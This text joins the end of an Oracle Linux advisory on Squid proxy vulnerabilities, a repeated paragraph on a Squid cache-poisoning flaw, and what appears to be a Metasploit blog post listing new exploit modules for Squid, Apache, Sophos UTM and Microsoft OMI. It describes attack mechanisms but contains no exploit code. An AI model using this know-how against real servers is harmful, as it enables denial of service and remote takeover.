the ELSA-2021-4292 advisory.\n\n - An issue was discovered in Squid before 4.15 and 5.x before 5.0.6. Due to a buffer-management bug, it allows a denial of service. When resolving a request with the urn: scheme, the parser leaks a small amount of memory. However, there is an unspecified attack methodology that can easily trigger a large amount of memory consumption. (CVE-2021-28651)\n\n - An issue was discovered in Squid before 4.15 and 5.x before 5.0.6. Due to a memory-management bug, it is vulnerable to a Denial of Service attack (against all clients using the proxy) via HTTP Range request processing. (CVE-2021-31806)\n\n - An issue was discovered in Squid before 4.15 and 5.x before 5.0.6. An integer overflow problem allows a remote server to achieve Denial of Service when delivering responses to HTTP Range requests. The issue trigger is a header that can be expected to exist in HTTP traffic without any malicious intent.\n (CVE-2021-31807)\n\n - An issue was discovered in Squid 4.x before 4.15 and 5.x before 5.0.6. If a remote server sends a certain response header over HTTP or HTTPS, there is a denial of service. This header can plausibly occur in benign network traffic. (CVE-2021-28662)\n\n - An issue was discovered in Squid before 4.15 and 5.x before 5.0.6. Due to an input-validation bug, it is vulnerable to a Denial of Service attack (against all clients using the proxy). A client sends an HTTP Range request to trigger this. (CVE-2021-31808)\n\n - An issue was discovered in Squid before 4.15 and 5.x before 5.0.6. Due to incorrect parser validation, it allows a Denial of Service attack against the Cache Manager API. This allows a trusted client to trigger memory leaks that. over time, lead to a Denial of Service via an unspecified short query string. This attack is limited to clients with Cache Manager API access privilege.

When receiving a request, Squid checks its cache to see if it can serve up a response. It does this by making a MD5 hash of the absolute URL of the request.\n If found, it servers the request. The absolute URL can include the decoded UserInfo (username and password) for certain protocols. This decoded info is prepended to the domain. This allows an attacker to provide a username that has special characters to delimit the domain, and treat the rest of the URL as a path or query string. An attacker could first make a request to their domain using an encoded username, then when a request for the target domain comes in that decodes to the exact URL, it will serve the attacker's HTML instead of the real HTML. On Squid servers that also act as reverse proxies, this allows an attacker to gain access to features that only reverse proxies can use, such as ESI. (CVE-2019-12520)\n\n - Squid through 4.14 and 5.x through 5.0.5, in some configurations, allows information disclosure because of an out-of-bounds read in WCCP protocol data. This can be leveraged as part of a chain for remote code execution as nobody.

When receiving a request, Squid checks its cache to\n see if it can serve up a response. It does this by making a MD5 hash of the absolute URL of the request.\n If found, it servers the request. The absolute URL can include the decoded UserInfo (username and\n password) for certain protocols. This decoded info is prepended to the domain. This allows an attacker to\n provide a username that has special characters to delimit the domain, and treat the rest of the URL as a\n path or query string. An attacker could first make a request to their domain using an encoded username,\n then when a request for the target domain comes in that decodes to the exact URL, it will serve the\n attacker's HTML instead of the real HTML. On Squid servers that also act as reverse proxies, this allows\n an attacker to gain access to features that only reverse proxies can use, such as ESI. (CVE-2019-12520)\n\n - Squid through 4.14 and 5.x through 5.0.5, in some configurations, allows information disclosure because of\n an out-of-bounds read in WCCP protocol data.

module for the OMIGOD vulnerability that exploits [CVE-2021-38647](<https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647?referrer=blog>) courtesy of our very own Spencer McIntyre! Successful exploitation will allow an unauthenticated attacker to gain `root` level code execution against affected servers. Given that this has seen exploitation in the wild by the Mirai botnet, we hope you're patched, lest your servers decide to join the zombie horde this Halloween!\n\n## Sophos Contributes to the RCE Pile\n\nContinuing the trend of unauthenticated RCE exploits that grant `root` level code execution, this week we also have an exploit for [CVE-2020-25223](<https://attackerkb.com/topics/rOhVHstwNO/cve-2020-25223?referrer=blog>), an unauthenticated RCE within the Sophos UTM WebAdmin service. Whilst we haven't yet seen exploitation in the wild of this bug, this is definitely one to patch given its severity. Stay frosty folks!\n\n## Guess Who\u2019s Back, Back Again, Apache's Back, Tell a Friend\n\nWhilst not a marshalling bug (I'm sorry, it's Halloween some puns are needed), community contributors Ash Daulton, Dhiraj Mishra, and mekhalleh (RAMELLA S\u00e9bastien), have added a scanner and exploit for [CVE-2021-41773](<https://attackerkb.com/topics/1RltOPCYqE/cve-2021-41773?referrer=blog>) and [CVE-2021-42013](<https://attackerkb.com/topics/CVE-2021-42013?referrer=blog>), which was based off of work from [RootUp](<https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse>), [ProjectDiscovery](<https://github.com/projectdiscovery/nuclei-templates/blob/master/vulnerabilities/apache/apache-httpd-rce.yaml>), and [HackerFantastic](<https://twitter.com/hackerfantastic/status/1445531829985968137>). Path traversal vulnerabilities are relatively easy to exploit, and this got a lot of attention in the news since it's been a long time since Apache has seen a reliable RCE exploit against it. This is definitely one to patch if you're running any Apache servers. Successful exploitation will result in remote code execution as the user running the Apache server.\n\n## New module content (6)\n\n * [Squid Proxy Range Header DoS](<https://github.com/rapid7/metasploit-framework/pull/15756>) by Joshua Rogers, which exploits [CVE-2021-31806](<https://attackerkb.com/topics/2k0UqRcdTC/cve-2021-31806?referrer=search>) and [CVE-2021-31807](<https://attackerkb.com/topics/xIwbe92O2s/cve-2021-31807?referrer=blog>) \\- This adds a module that leverages CVE-2021-31806 and CVE-2021-31807 to trigger a denial of service condition in vulnerable Squid proxy servers.\n * [Apache 2.4.49/2.4.50 Traversal RCE scanner](<https://github.com/rapid7/metasploit-framework/pull/15754>) by Ash Daulton, Dhiraj Mishra, and mekhalleh (RAMELLA S\u00e9bastien), which exploits [CVE-2021-41773](<https://attackerkb.com/topics/1RltOPCYqE/cve-2021-41773?referrer=search>) and [CVE-2021-42013](<https://attackerkb.com/topics/CVE-2021-42013?referrer=blog>) \\- This adds both a scanner and exploit module for the two recent path traversal vulnerabilities in the apache2 HTTP server. The RCE module requires `mod_cgi` to be enabled but can be exploited remotely without any authentication. These vulnerabilities are identified as CVE-2021-41773 and CVE-2021-42013.\n * [Sophos UTM WebAdmin SID Command Injection](<https://github.com/rapid7/metasploit-framework/pull/15783>) by wvu and Justin Kennedy, which exploits [CVE-2020-25223](<https://attackerkb.com/topics/rOhVHstwNO/cve-2020-25223?referrer=blog>) \\- This adds an exploit for CVE-2020-25223 which is an unauthenticated RCE within the Sophos UTM WebAdmin service. Exploitation results in OS command execution as the `root` user.\n * [Microsoft OMI Management Interface Authentication Bypass](<https://github.com/rapid7/metasploit-framework/pull/15800>) by wvu, Nir Ohfeld, Shir Tamari, and Spencer McIntyre, which exploits [CVE-2021-38647](<https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647?referrer=blog>) \\- We added an unauthenticated RCE exploit for Microsoft OMI "OMIGOD" CVE-2021-38647.
